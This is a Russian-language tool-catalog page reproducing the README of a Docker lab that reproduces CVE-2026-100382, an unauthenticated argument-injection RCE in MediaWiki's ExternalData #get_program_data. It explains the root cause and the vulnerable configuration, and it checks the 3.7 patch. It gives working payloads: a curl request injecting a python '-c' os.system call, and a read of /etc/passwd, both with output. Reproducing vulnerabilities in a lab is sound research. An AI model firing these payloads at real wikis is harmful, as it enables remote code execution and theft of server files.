Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
mediawiki-CVE-2026-100382 — Docker-лаборатория для воспроизведения CVE-2026-100382: неаутентифицированный RCE через инъекцию аргументов в #get_program_data расширения MediaWiki ExternalData, с PoC-полезными нагрузками и проверкой патча. | Kitploit
Инструменты/GitHubGitHub/nth347/mediawiki-cve-2026-100382
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьКомандование и УправлениеОбучение и ОбразованиеЛаборатории и Практика
GitHub
nth347/mediawiki-cve-2026-100382

mediawiki-CVE-2026-100382

Docker-лаборатория для воспроизведения CVE-2026-100382: неаутентифицированный RCE через инъекцию аргументов в #get_program_data расширения MediaWiki ExternalData, с PoC-полезными нагрузками и проверкой патча.

Репозиторий
36 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Воспроизведение в лаборатории — CVE-2026-100382 (внедрение OS-команд в ExternalData)

Что представляет собой эта лаборатория

  • MediaWiki 1.43 (официальный образ, SQLite) + ExternalData 3.6.1 (последняя уязвимая версия), смонтирован только для чтения из ../mediawiki-extensions-ExternalData.
  • Только loopback: опубликован на 127.0.0.1:${HOST_PORT} (по умолчанию 8080).
  • Анонимное редактирование + action=parse включены (настройки MediaWiki по умолчанию) — для PoC вход не требуется.

Запуск

cd lab
./up.sh        # устанавливает, загружает ExternalData 3.6.1, добавляет уязвимые источники, выводит URL
./down.sh      # docker compose down -v + очистка .env

(Реалистичная) уязвимая конфигурация администратора

entrypoint.sh добавляет exec-источник, который отражает документированное назначение #get_program_data — предоставить редакторам серверную программу, передавая пользовательский параметр в командную строку — без ограничивающей записи param filters (расширение её не требует):

$wgExternalDataSources['chart'] = [
    'command' => 'python3 $options$ /srv/chart.py',   // пользовательский параметр интерполируется
    'params'  => [ 'options' ],
    'format'  => 'text',
];

Предполагаемое использование: {{#get_program_data: program=chart | options=--dpi=120 }} -> выполняет python3 --dpi=120 /srv/chart.py.

Краткое изложение первопричины (почему это срабатывает)

  • EDConnectorBase::supplementParams() интерполирует пользовательские параметры в общий для вики шаблон command через strtr (EDConnectorBase.php:461-470,560).
  • Затем EDConnectorExe::__construct() выполняет explode(' ', $command) (EDConnectorExe.php:92) — интерполированное пользовательское значение разбивается по пробелам на отдельные токены argv без повторного экранирования.
  • run() выполняет Shell::command($command)->execute() (EDConnectorExe.php:139). Shell::command() экранирует каждый токен для оболочки, поэтому метасимволы оболочки (;, |) инертны — это внедрение аргументов (CWE-88 / CWE-78), а не наивное внедрение команд оболочки. Контроль над дополнительными argv целевой программы (здесь python3 -c) даёт полное выполнение кода.
  • Примечание: вызывающая сторона не может напрямую передать command — встроенный источник-подстановка * принудительно устанавливает command => null, что удаляет пользовательский command. Таким образом, вектор — это интерполяция параметров в определённую администратором команду.

Вывод консоли (дословно)

Область: метасимволы оболочки экранируются (внедрение аргументов, а не внедрение команд оболочки)

$ payload: {{#get_program_data: program=greet | name=World; id | data=out=__text }}{{#external_value: out }}
Hello World; id

Пробельные символы разбивают один параметр на несколько токенов argv

$ payload: {{#get_program_data: program=greet | name=a b c | data=out=__text }}{{#external_value: out }}
Hello a b c

RCE — выполнение произвольных команд от имени веб-пользователя (БЕЗ АУТЕНТИФИКАЦИИ)

$ curl -sS http://127.0.0.1:8080/api.php \
    --data-urlencode action=parse --data-urlencode format=json \
    --data-urlencode contentmodel=wikitext \
    --data-urlencode "text={{#get_program_data: program=chart | options=-c __import__('os').system('id') | data=out=__text }}{{#external_value: out }}"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Произвольное чтение файлов

$ options=-c print(open('/etc/passwd').read())
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Негативный тест против патча (замыкает цикл)

Переключение смонтированного расширения на тег 3.7 и повторный запуск ТОГО ЖЕ payload:

The class EDConnectorExe is disabled: instead of giving access to a local program,
consider using web access to a containerised application ... To enable it, a wiki
administrator will have to remove this class from the $wgExternalDataDisabledClasses
configuration setting.

3.7 отключает EDConnectorExe по умолчанию ($wgExternalDataDisabledClasses, Bug T434961). Оговорка: код-приёмник не изменился — вики, которая удаляет EDConnectorExe из этого списка, чтобы продолжать использовать #get_program_data, остаётся полностью уязвимой.

Скачать инструмент